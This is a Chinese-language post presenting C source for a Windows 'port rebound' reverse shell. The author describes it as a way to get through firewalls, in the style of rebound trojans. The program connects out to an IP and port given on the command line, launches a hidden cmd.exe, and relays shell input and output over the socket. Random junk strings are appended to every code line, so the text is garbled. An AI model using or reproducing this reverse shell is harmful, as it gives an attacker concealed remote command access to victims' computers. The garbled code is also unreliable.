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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 d9BFeq8  
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/* ============================== &(A#F[ =0  
Rebound port in Windows NT  BgQ/$,  
By wind,2006/7 JJ%@m;~  
===============================*/ rq4g~e!S  
#include y<6c*e1  
#include vdC0tax  
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#pragma comment(lib,"wsock32.lib") , ?U)mYhI  
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void OutputShell(); E;{RNf|  
SOCKET sClient; ?d^6ynzn  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; peBHZJ``RX  
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void main(int argc,char **argv) &1yJrj9y  
{ ( _6j@?u  
WSADATA stWsaData; wT\BA'VQ  
int nRet; |oLGc!i  
SOCKADDR_IN stSaiClient,stSaiServer; [n)ak)_/  
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if(argc != 3) xc 1d[dCdp  
{ "aF2:E'  
printf("Useage:\n\rRebound DestIP DestPort\n"); _ia&|#n  
return; \}v@!PQl  
} ">CRFee0  
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WSAStartup(MAKEWORD(2,2),&stWsaData); j8p<HE51  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); pxgf%P<7  
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stSaiClient.sin_family = AF_INET; i/+^C($'f  
stSaiClient.sin_port = htons(0); kC%H E  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); SyVXXk 0  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) `e<IO_cg  
{ tj~r>SRb+  
printf("Bind Socket Failed!\n");  Y4 z  
return; ~*/ >8R(Y  
} UTh2? Rh/  
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stSaiServer.sin_family = AF_INET; H`)eT6:|/  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); DdI%TU K,  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ,$:u^;V(  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) _Sfu8k>):  
{ dY&v(~&;]  
printf("Connect Error!"); PL&> p M  
return; Mb2a;s  
} _ikKOU^8  
OutputShell(); %C,zR&]F  
} ]vz6DJs  
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void OutputShell() ,+`r2}N \/  
{ NzyEsZ]$  
char szBuff[1024]; WUie `p  
SECURITY_ATTRIBUTES stSecurityAttributes; {AD-p!6G  
OSVERSIONINFO stOsversionInfo; C] mp <  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; @NA+Ma{N  
STARTUPINFO stStartupInfo; #oTVfY#  
char *szShell; 8iY.!.G#|  
PROCESS_INFORMATION stProcessInformation; m<3. X"-  
unsigned long lBytesRead; 2QbKh)   
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ~3j +hN8<  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); `PtB2,?  
stSecurityAttributes.lpSecurityDescriptor = 0; ?GNR ab  
stSecurityAttributes.bInheritHandle = TRUE; 02;'"EmP$  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); H if| z[0$  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); T DR|*Cs  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); B"> Ko3  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; t=Rl`1 =(K  
stStartupInfo.wShowWindow = SW_HIDE; s-Gd{=%/q  
stStartupInfo.hStdInput = hReadPipe; o'$-  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; GPh;r7xg6  
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GetVersionEx(&stOsversionInfo); ]Whv%  
{ /!ryOA65  
switch(stOsversionInfo.dwPlatformId) K{I"2c  
{ ZK t{3P  
case 1: o<48'>[  
szShell = "command.com"; ,|$1(z*a{c  
break; /PaS <"<P@  
default: bvB7d` wx  
szShell = "cmd.exe"; k8n9zJ8  
break; KS5a8'U  
} aj1g9 y  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ux^rF  
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send(sClient,szMsg,77,0); KI\bV0$p<  
while(1) eVMnI yr  
{ H'$H@Kn]-  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); wG s'qL"z  
if(lBytesRead) *\:sHVyG(  
{ 9f& !Uw_W  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 7fWZ/;p  
send(sClient,szBuff,lBytesRead,0); |ul{d|  
} !} x-o`a5  
else GK6~~ga=  
{ W +GBSl  
lBytesRead=recv(sClient,szBuff,1024,0); 1jzu-s ,F  
if(lBytesRead<=0) break; -0`n(`2  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Ed0}$ b  
} x5g&?2[  
} PS!or!m  
t}}Ti$$>  
return; 0RSzDgX  
}
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